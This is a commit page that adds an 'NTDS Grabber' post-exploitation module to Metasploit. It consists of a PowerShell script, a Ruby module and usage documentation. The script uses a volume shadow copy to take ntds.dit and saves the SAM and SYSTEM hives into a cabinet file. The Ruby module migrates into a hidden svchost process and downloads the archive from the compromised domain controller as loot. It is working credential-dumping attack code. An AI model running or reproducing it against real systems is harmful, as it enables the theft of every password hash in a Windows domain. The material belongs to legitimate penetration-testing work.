Land # 8007, Added NTDSgrab module to metasploit.
Merge branch 'land-8007' into upstream-masterGSoC/Meterpreter_Web_Console
commit
0faf2f4e04
|
@ -0,0 +1,139 @@
|
|||
#Complete script created by Koen Riepe (koen.riepe@fox-it.com)
|
||||
#New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-cab-files-with-powershell/
|
||||
function New-CabinetFile {
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FilePath")]
|
||||
[string] $Name,
|
||||
|
||||
[Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$true, ValueFromPipeline=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FullName")]
|
||||
[string[]] $File,
|
||||
|
||||
[Parameter(HelpMessage="Default intput/output path.", Position=2, ValueFromPipelineByPropertyName=$true)]
|
||||
[AllowNull()]
|
||||
[string[]] $DestinationPath,
|
||||
|
||||
[Parameter(HelpMessage="Do not overwrite any existing .cab file.")]
|
||||
[Switch] $NoClobber
|
||||
)
|
||||
|
||||
Begin {
|
||||
|
||||
## If $DestinationPath is blank, use the current directory by default
|
||||
if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; }
|
||||
Write-Verbose "New-CabinetFile using default path '$DestinationPath'.";
|
||||
Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name)'.";
|
||||
|
||||
## Test the -NoClobber switch
|
||||
if ($NoClobber) {
|
||||
## If file already exists then throw a terminating error
|
||||
if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output file '$(Join-Path $DestinationPath $Name)' already exists."; }
|
||||
}
|
||||
|
||||
## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/library/bb417343.aspx#dir_file_syntax' for more info
|
||||
$ddf = ";*** MakeCAB Directive file`r`n";
|
||||
$ddf += ";`r`n";
|
||||
$ddf += ".OPTION EXPLICIT`r`n";
|
||||
$ddf += ".Set CabinetNameTemplate=$Name`r`n";
|
||||
$ddf += ".Set DiskDirectory1=$DestinationPath`r`n";
|
||||
$ddf += ".Set MaxDiskSize=0`r`n";
|
||||
$ddf += ".Set Cabinet=on`r`n";
|
||||
$ddf += ".Set Compress=on`r`n";
|
||||
## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp directory
|
||||
$ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n";
|
||||
$ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n";
|
||||
|
||||
## If -Verbose, echo the directive file
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
foreach ($ddfLine in $ddf -split [Environment]::NewLine) {
|
||||
Write-Verbose $ddfLine;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Process {
|
||||
|
||||
## Enumerate all the files add to the cabinet directive file
|
||||
foreach ($fileToAdd in $File) {
|
||||
|
||||
## Test whether the file is valid as given and is not a directory
|
||||
if (Test-Path $fileToAdd -PathType Leaf) {
|
||||
Write-Verbose """$fileToAdd""";
|
||||
$ddf += """$fileToAdd""`r`n";
|
||||
}
|
||||
## If not, try joining the $File with the (default) $DestinationPath
|
||||
elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) {
|
||||
Write-Verbose """$(Join-Path $DestinationPath $fileToAdd)""";
|
||||
$ddf += """$(Join-Path $DestinationPath $fileToAdd)""`r`n";
|
||||
}
|
||||
else { Write-Warning "File '$fileToAdd' is an invalid file or container object and has been ignored."; }
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
||||
$ddfFile = Join-Path $DestinationPath "$Name.ddf";
|
||||
$ddf | Out-File $ddfFile -Encoding ascii | Out-Null;
|
||||
|
||||
Write-Verbose "Launching 'MakeCab /f ""$ddfFile""'.";
|
||||
$makeCab = Invoke-Expression "MakeCab /F ""$ddfFile""";
|
||||
|
||||
## If Verbose, echo the MakeCab response/output
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
## Recreate the output as Verbose output
|
||||
foreach ($line in $makeCab -split [environment]::NewLine) {
|
||||
if ($line.Contains("ERROR:")) { throw $line; }
|
||||
else { Write-Verbose $line; }
|
||||
}
|
||||
}
|
||||
|
||||
## Delete the temporary .ddf file
|
||||
Write-Verbose "Deleting the directive file '$ddfFile'.";
|
||||
Remove-Item $ddfFile;
|
||||
|
||||
## Return the newly created .CAB FileInfo object to the pipeline
|
||||
Get-Item (Join-Path $DestinationPath $Name);
|
||||
}
|
||||
}
|
||||
|
||||
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
|
||||
$ntdsloc = (Get-ItemProperty -Path $key -Name "DSA Database file")."DSA Database file"
|
||||
$ntdspath = $ntdsloc.split(":")[1]
|
||||
$ntdsdisk = $ntdsloc.split(":")[0]
|
||||
|
||||
(Get-WmiObject -list win32_shadowcopy).create($ntdsdisk + ":\","ClientAccessible")
|
||||
|
||||
$id_shadow = "None"
|
||||
$volume_shadow = "None"
|
||||
|
||||
if (!(Get-WmiObject win32_shadowcopy).length){
|
||||
Write-Host "Only one shadow clone"
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy).ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy).DeviceObject
|
||||
} Else {
|
||||
$n_shadows = (Get-WmiObject win32_shadowcopy).length-1
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].DeviceObject
|
||||
}
|
||||
|
||||
$command = "cmd.exe /c copy "+ $volume_shadow + $ntdspath + " " + ".\ntds.dit"
|
||||
iex $command
|
||||
|
||||
$command2 = "cmd.exe /c reg save HKLM\SYSTEM .\SYSTEM"
|
||||
iex $command2
|
||||
|
||||
$command3 = "cmd.exe /c reg save HKLM\SAM .\SAM"
|
||||
iex $command3
|
||||
|
||||
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete()
|
||||
if (Test-Path "All.cab"){
|
||||
Remove-Item "All.cab"
|
||||
}
|
||||
New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
|
||||
Remove-Item ntds.dit
|
||||
Remove-Item SAM
|
||||
Remove-Item SYSTEM
|
|
@ -0,0 +1,58 @@
|
|||
## Creating A Testing Environment
|
||||
To use this module you need an meterpreter on a domain controller.
|
||||
The meterpreter has to have SYSTEM priviliges.
|
||||
Powershell has te be installed.
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
1. Windows Server 2008r2
|
||||
|
||||
This module was not tested against, but may work against:
|
||||
|
||||
1. Other versions of Windows server.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Obtain a meterpreter session with a meterpreter via whatever method.
|
||||
3. Ensure the metepreter has SYSTEM priviliges.
|
||||
4. Ensure powershell is installed.
|
||||
3. Do: 'use post/windows/gather/ntds_grabber '
|
||||
4. Do: 'set session #'
|
||||
5. Do: 'run'
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2008r2 with an x86 meterpreter
|
||||
|
||||
msf exploit(psexec) > use post/windows/gather/ntds_grabber
|
||||
msf post(ntds_grabber) > set session #
|
||||
session => #
|
||||
msf post(ntds_grabber) > run
|
||||
|
||||
[+] [2017.04.05-12:26:49] Running as SYSTEM
|
||||
[+] [2017.04.05-12:26:50] Running on a domain controller
|
||||
[+] [2017.04.05-12:26:50] PowerShell is installed.
|
||||
[-] [2017.04.05-12:26:50] The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
|
||||
[*] [2017.04.05-12:26:50] Starting new x64 process C:\windows\sysnative\svchost.exe
|
||||
[+] [2017.04.05-12:26:51] Got pid 3088
|
||||
[*] [2017.04.05-12:26:51] Migrating..
|
||||
[+] [2017.04.05-12:26:56] Success!
|
||||
[*] [2017.04.05-12:26:56] Powershell Script executed
|
||||
[*] [2017.04.05-12:26:59] Creating All.cab
|
||||
[*] [2017.04.05-12:27:01] Waiting for All.cab
|
||||
[*] [2017.04.05-12:27:02] Waiting for All.cab
|
||||
[+] [2017.04.05-12:27:02] All.cab should be created in the current working directory
|
||||
[*] [2017.04.05-12:27:05] Downloading All.cab
|
||||
[+] [2017.04.05-12:27:15] All.cab saved in: /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab
|
||||
[*] [2017.04.05-12:27:15] Removing All.cab
|
||||
[+] [2017.04.05-12:27:15] All.cab Removed
|
||||
[*] Post module execution completed
|
||||
msf post(ntds_grabber) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
10.100.0.2 Cabinet File All.cab application/cab Cabinet file containing SAM, SYSTEM and NTDS.dit /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab
|
|
@ -0,0 +1,163 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Powershell
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'NTDS Grabber',
|
||||
'Description' => %q(This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller.
|
||||
It compresses all these files in a cabinet file called All.cab.),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'],
|
||||
'References' => [''],
|
||||
'Platform' => [ 'win' ],
|
||||
'Arch' => [ 'x86', 'x64' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('DOWNLOAD', [ true, 'Immediately download the All.cab file', true ]),
|
||||
OptBool.new('CLEANUP', [ true, 'Remove the All.cab file at the end of module execution', true ])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
def dc_check
|
||||
is_dc_srv = false
|
||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||
if registry_enumkeys(serviceskey).include?("NTDS")
|
||||
if registry_enumkeys("#{serviceskey}\\NTDS").include?("Parameters")
|
||||
is_dc_srv = true
|
||||
end
|
||||
end
|
||||
return is_dc_srv
|
||||
end
|
||||
|
||||
def task_running(task)
|
||||
session.shell_write("tasklist \n")
|
||||
tasklist = session.shell_read(-1, 10).split("\n")
|
||||
tasklist.each do |prog|
|
||||
if prog.include? task
|
||||
session.shell_close
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def check_32_on_64
|
||||
apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
|
||||
# railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
|
||||
if apicall == "\x00\x00\x00\x00"
|
||||
migrate = false
|
||||
else
|
||||
migrate = true
|
||||
end
|
||||
return migrate
|
||||
end
|
||||
|
||||
def get_windows_loc
|
||||
apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]
|
||||
windir = apicall.split(":")[0]
|
||||
return windir
|
||||
end
|
||||
|
||||
def run
|
||||
downloadflag = datastore['DOWNLOAD']
|
||||
cleanupflag = datastore['CLEANUP']
|
||||
|
||||
if is_system?
|
||||
print_good('Running as SYSTEM')
|
||||
else
|
||||
print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING')
|
||||
return
|
||||
end
|
||||
|
||||
if not dc_check
|
||||
print_error('Not running on a domain controller, you need run this module on a domain controller! STOPPING')
|
||||
return
|
||||
else
|
||||
print_good('Running on a domain controller')
|
||||
end
|
||||
|
||||
if have_powershell?
|
||||
print_good('PowerShell is installed.')
|
||||
else
|
||||
print_error('PowerShell is not installed! STOPPING')
|
||||
return
|
||||
end
|
||||
|
||||
if check_32_on_64
|
||||
print_error('The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!')
|
||||
windir = get_windows_loc
|
||||
newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
|
||||
if exist?(newproc)
|
||||
print_status("Starting new x64 process #{newproc}")
|
||||
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
|
||||
print_good("Got pid #{pid}")
|
||||
print_status('Migrating..')
|
||||
session.core.migrate(pid)
|
||||
if pid == session.sys.process.getpid
|
||||
print_good('Success!')
|
||||
else
|
||||
print_error('Migration failed!')
|
||||
end
|
||||
end
|
||||
else
|
||||
print_good('The meterpreter is the same architecture as the OS!')
|
||||
end
|
||||
|
||||
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "NTDSgrab.ps1"))
|
||||
execute_script(base_script)
|
||||
print_status('Powershell Script executed')
|
||||
cabcount = 0
|
||||
|
||||
while cabcount < 2
|
||||
if task_running("makecab.exe")
|
||||
cabcount += 1
|
||||
while cabcount < 2
|
||||
print_status('Creating All.cab')
|
||||
if not task_running("makecab.exe")
|
||||
cabcount += 1
|
||||
while not file_exist?("All.cab")
|
||||
sleep(1)
|
||||
print_status('Waiting for All.cab')
|
||||
end
|
||||
print_good('All.cab should be created in the current working directory')
|
||||
end
|
||||
sleep(1)
|
||||
end
|
||||
end
|
||||
sleep(1)
|
||||
end
|
||||
|
||||
if downloadflag
|
||||
print_status('Downloading All.cab')
|
||||
p1 = store_loot('Cabinet File', 'application/cab', session, read_file("All.cab"), 'All.cab', 'Cabinet file containing SAM, SYSTEM and NTDS.dit')
|
||||
print_good("All.cab saved in: #{p1}")
|
||||
end
|
||||
|
||||
if cleanupflag
|
||||
print_status('Removing All.cab')
|
||||
begin
|
||||
file_rm('All.cab')
|
||||
rescue
|
||||
print_error('Problem with removing All.cab. Manually check if it\'s still there.')
|
||||
end
|
||||
if not file_exist?("All.cab")
|
||||
print_good('All.cab Removed')
|
||||
else
|
||||
print_error('All.cab was not removed')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue